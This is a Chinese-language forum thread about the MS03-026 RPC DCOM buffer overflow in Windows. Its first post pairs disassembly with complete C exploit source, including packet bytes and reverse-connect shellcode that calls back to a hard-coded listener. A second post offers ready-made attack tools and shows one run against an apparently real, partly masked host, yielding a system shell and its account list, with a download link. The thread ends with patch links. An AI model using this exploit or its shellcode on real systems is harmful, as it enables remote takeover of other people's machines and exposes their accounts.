LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM & D: I( Q' l2 D' ?' U邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com # K8 L1 t2 m+ M3 ]5 [+ T$ m7 s. w感谢BENJURRY做测试，翻译和代码的通用化处理。 * U9 D. O# p% R4 X5 q邮件：benjurry@xfocus.org ' h& P7 H$ N: P& L LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 . m- R" I5 ^! K8 x8 o! P8 ?导致问题的调用如下： * `) Q, i$ D5 y/ ohr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 5 K4 e4 {3 F3 R这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 - w. B t; p. O! M5 E8 n在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： 6 Q, T2 L* L1 U( `* D6 a. C* Y# ~GetPathForServer： . r* i: F& [# {* T/ O. ~% ?: d.text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 ; Z! R' n- ]2 S8 N9 u8 q.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx 3 I; W/ M$ T0 l4 d b! c3 ~& |+ S! `.text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi 5 f+ \! g, J) ]0 ^9 K.text:761543E9 push 5Ch .text:761543EB pop ebx , H3 ?' v" T a( I* V% A.text:761543EC mov [eax], esi .text:761543EE cmp [esi], bx .text:761543F1 mov edi, esi 7 _- V7 C3 o6 p9 x4 V.text:761543F3 jnz loc_761544BF ' S6 a, p" A1 j8 x6 Q7 u.text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF ; ? H( o: R% \.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 . Y4 H& H e. a" X.text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 . M! N# W- c0 v( S: f+ e0 \.text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 GetMachineName: % q' \* F9 {" D9 n& ~- t.text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] * X6 z4 ]% M1 B.text:7614DB75 lea edx, [eax+4] ) H8 r) u$ r( D4 m! ~.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C 5 |/ g1 V+ S# R+ @.text:7614DB80 jz short loc_7614DB93 % \) [, z8 v1 W" _* e1 H.text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j 5 g& i3 Y' H& e7 N.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 1 ]8 Z4 c: H2 @( ?+ e* L! l* |.text:7614DB87 inc ecx .text:7614DB88 inc ecx : V/ v, ?8 X& L.text:7614DB89 mov ax, [ecx+edx] .text:7614DB8D cmp ax, 5Ch .text:7614DB91 jnz short loc_7614DB84 a8 a/ f& d) s.text:7614DB93 / `0 G3 a' K k* [9 MOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 0 [6 ]0 B* z! M下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 6 ?9 o& S! ~) H x需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 " ^4 g5 X& j5 Q2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 - `+ v g, y T6 [# q; W7 F; j6 E4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 ; j W7 N6 {+ N7 x. P #include 6 U, O4 E/ P, W/ B7 n/ v1 o#include 0 \/ u$ J- ]- I, o: Q# ?' y#include #include #include #include unsigned char bindstr[]={ 2 {& U! W3 t8 M8 d& n$ N# v0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, ; [6 G* R7 m, j; B( I! F/ A: S0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, + Y! v; }, h3 w p8 d0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, ; [! [2 v3 G4 ?* w! o: K8 x0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; % P# j) p" T& D 0 D+ `; x) ^0 c& E) U; U; @unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ( P! B( }& y6 H( e8 _+ o3 z,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ; O N- |" P6 y$ ~, z,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 3 m p: }5 u, r/ q. C1 t,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D 7 V* [3 }- h8 x n0 z5 \. Y8 _5 B$ c,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 7 @( _1 C% z2 w Y/ p& E,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 1 ~* S: B) w# X& P% s ?6 J,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 , i) E: D5 e5 n$ T+ a7 U, n,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 Y% {0 D7 [2 o# ^0 x" \,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ; ~4 b; I% d1 W) d6 B% t' ]" e+ e# Q,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ) K2 Z! C, ] T,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 3 |" e* P0 a/ k1 Y0 n, s5 y, k. j4 a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ' b$ Z+ D8 c( H) t2 @: k,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 " X( l1 Z' g: R% o* f: V,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 & F4 m7 Y( O; B3 m W8 I,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 3 P0 Y3 w, R. E,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 4 G& O2 l3 z! ]& g; C) q, o,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 3 p! k" l3 H0 u+ H7 s( S,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ; s9 c' _* A6 B k8 Z,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ! W9 b) e ?# D2 W( j,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 / c( i7 L: }. j/ x,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ; Q2 K* B% s# y,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 " K6 v* ]; `2 J% N$ {,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 " b. E% ?" p' L! z: L( H,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 : @- P/ F4 t- L" D# D7 m& x- g3 C,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ; B* O6 F$ B9 A,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 : G& P9 t4 u4 G% Z$ M,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ( v$ [8 e9 h$ o5 n" c- `,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 / Y: O: I& z. h2 A( F o$ F) F,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 & z- O% D4 E) T5 c5 \/ ^- Z C+ D) d,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 1 `: n( V- B8 m4 F,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 1 Y9 b* w5 S Q" w/ y,0x00,0x00,0x00,0x00,0x00,0x00}; / X& P7 N; v4 K3 t# Z unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 * P( V J8 z, e7 k1 H( F W,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 1 \% K7 g* J2 A,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ; E* P8 I0 @, m# }8 t: B,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; # j0 F y% \% O2 ~! ]% f( x& w/ D9 z # r' O; L$ ~- m7 m7 |% Q" V+ Qunsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" 9 m; B; G5 v3 d8 v# m' Q"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 4 d* e) ~% k( a! @) h2 B"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 2 i6 e! h! k' r//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 " r" [& K7 V) I4 J- E//SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" , `# \* g( m6 p/ v% I3 h"\x93\x40\xe2\xfa" ! _" k- ?' S9 K// code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" 7 y y) Q' V9 ]& q% j" S"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 8 Z6 [7 ^" N( J8 N' @"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" , j2 t7 `6 g( o: j% t"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" $ z) ^0 ?# b: A2 D# r& C% z"\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" , R5 e9 m% y. m+ `: W"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" 1 J2 S2 g) }( _# }0 s! g"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" 2 ?9 U+ J8 d8 G" ` d8 D9 K) }"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" / \5 \7 x) Q* P7 i$ i# o6 y4 q7 e"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" ) J* t) E1 R( J5 Z% |"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" 5 G3 j9 H$ m# a/ m"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" : ]4 `/ i6 l: E! ^. N"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" 3 V0 f6 n; r9 s# X- I- S; ?: ~$ R"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 8 c3 Q) m& f# ` unsigned char request4[]={ # n2 }$ p- \, m9 j( M4 F0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 5 `) E" t7 ~; S5 j$ Z,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 7 G6 I- R( I6 V2 e5 f+ H# X}; void main(int argc,char ** argv) { 3 \. B1 |5 y8 ]% Q+ X7 Z GWSADATA WSAData; SOCKET sock; int len,len1; ) O8 g c! n) ^! L; dSOCKADDR_IN addr_in; & a$ ^7 I& q; G$ A+ Q" h% a; ~short port=135; , C! v7 _% t6 K( T0 Zunsigned char buf1[0x1000]; 6 a0 J T8 N; O- r8 ~, {unsigned char buf2[0x1000]; * j( q2 {) S0 {( Yunsigned short port1; DWORD cb; - r8 g* k9 v- ?' g6 u2 d1 U |& e3 Vif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; 5 V$ l% a# [5 F( ~" r `4 I} " l; g& h1 J2 b e addr_in.sin_family=AF_INET; 6 m; i/ c7 \" saddr_in.sin_port=htons(port); 4 l E5 _' [5 O% I3 J. G+ V, ?addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) / L. A3 o- W3 r' ^{ 8 a8 }8 R( \& o6 c- T9 K$ qprintf("Socket failed.Error:%d\n",WSAGetLastError()); : i+ z3 m2 I7 Oreturn; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; 8 ^9 p6 W8 K# `) |. f" e0 ^} 8 _. P+ r) X k0 u1 |port1 = htons (2300); //反向连接的端口 port1 ^= 0x9393; cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， ! o- m) \# h0 x" \& F& `$ d4 x0 scb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; 5 V) Q! @. S$ y- k& z*(unsigned int *)&sc[335+0x30] = cb; " W; K7 Q" u+ G9 k0 O. i$ o# U: olen=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); 9 m, D. K' ^7 U& M, z' hlen1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 4 I. t+ \8 z j) h" h( B% s5 Z5 T*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); & g8 z2 R3 \+ m9 w7 ~/ A7 \len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); ' Z0 _5 D: T4 m# _; gmemcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); # E0 G! k1 I3 O1 `, Cmemcpy(buf2+len1,request4,sizeof(request4)); - X6 V, V. |/ ?, qlen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; * N) Q# C5 [8 [1 @- b//计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; . i/ V* } |1 b2 R0 ` T/ J3 ?! Q*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; 9 a4 `/ A8 ]! ]8 `$ s( S" B8 V*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) 8 u( j& c. Y, h" z, n Q{ / q- G2 w+ n9 ^: u4 B0 y6 b$ |- Nprintf("Send failed.Error:%d\n",WSAGetLastError()); h0 c- b# F: C! ^, Q- P/ m3 Vreturn; } 0 Z: J9 {' j: J" @* |- a; q 2 C0 V G. {+ X& z% _0 Y9 clen=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } len=recv(sock,buf1,1024,NULL); 3 A& R' X( U: l9 i} ! Z3 c% q P# l$ K6 @: i# ?$ ?6 g 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 % ^- a" ^5 o- Y: U 补记： 由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 4 O' X2 Q" J* V# w0 Z; fchdcom针对以下版本: + s. y5 {4 p$ {7 z2 v8 k$ K- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) / } O1 F, ?& g; g# B# E- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) , T/ U. n: f% d+ P* ~% CUsage: chdcom 5 X; C! E5 b" [8 L4 O& r& D$ Ucedcom针对以下版本: : {# d( o. g0 P$ Y% z) s- 0 Windows 2000 SP0 (english) 6 _/ y; v3 m/ i3 j9 C1 G- 1 Windows 2000 SP1 (english) a- s6 m, Y" K6 H% I M# N2 s- 2 Windows 2000 SP2 (english) 4 z# M& Y9 I9 W7 D! j- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: endcom / I! ~1 O6 n5 j" E B# x5 `( \4 vcygwin1.dll应用程序扩展 7 Y/ U. V1 l7 h X" _9 ^溢出目标IP前.先用扫描器扫描开135端口的肉机. ' U! v9 U, C" F! \; [我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 0 G5 \* Z* A( @8 w [0 Z+ i比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 --------------------------------------------------------- + X" `) x$ h9 r+ C2 I5 p- Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry ; S8 x% l$ Z1 D- ?- Rewritten by HDM last - last by nic : L8 H2 o3 H8 Q, z! k+ w" Q7 B-Compiled and recorrected by pingker! . N9 f% v: a0 {6 n; V, E- Using return address of 0x77f92a9b 8 a+ Z" }* d. b& ]/ v% M- Dropping to System Shell... " s1 F2 G3 g9 \6 z5 ?7 u8 a- d Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. 8 N( m8 h, b: n8 g. A! g% AC:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user 8 e' I4 `" V" u4 ^: W6 E6 ]net user 6 `6 |+ Y; D p+ X0 I 1 U) f1 C+ m$ t" V+ N9 ZUser accounts for \ h- N8 U @& Y F6 z! }---------------------------------------------------------------------------- --- / S$ E; C% u, h2 Z) f+ f4 k% O" DAdministrator ASPNET billbishopcom . u1 t. ~3 h( X( \2 F9 cdivyanshu ebuyjunction edynamic1 edynamic2 Guest infinityaspnet infinityinformations IUSR_DIALTONE IUSR_NS1 ' } F) V- H# G' [IWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO * E d' \" U4 Z- F& D* M$ G0 XThe command completed with one or more errors. 这样一来你想干什么就是你的事了. + [. E& a8 w. R' P# L这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 . D% r9 O/ y0 l重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! XDcom.rar远程溢出攻击程序下载: , @) N( |0 q0 Qhttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
# T8 S2 x" t! \2 O5 m7 M
http://microsoft.com/downloads/d ... &displaylang=en
$ D; h. C& l0 Q" D
8 `& @. o& Z% B/ u4 b$ f0 E0 n5 rWindows NT 4.0 Terminal Server Edition：
( ]9 p+ }  u$ L6 K- ^
. T  o0 U. H1 G" R+ ?. ^http://microsoft.com/downloads/d ... &displaylang=en

Windows 2000：
( I1 R* z+ e6 Z4 L: L
% g8 J- W9 k1 e3 _: ]http://microsoft.com/downloads/d ... &displaylang=en
* F. E: [' D- O% C9 [( P' P（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117

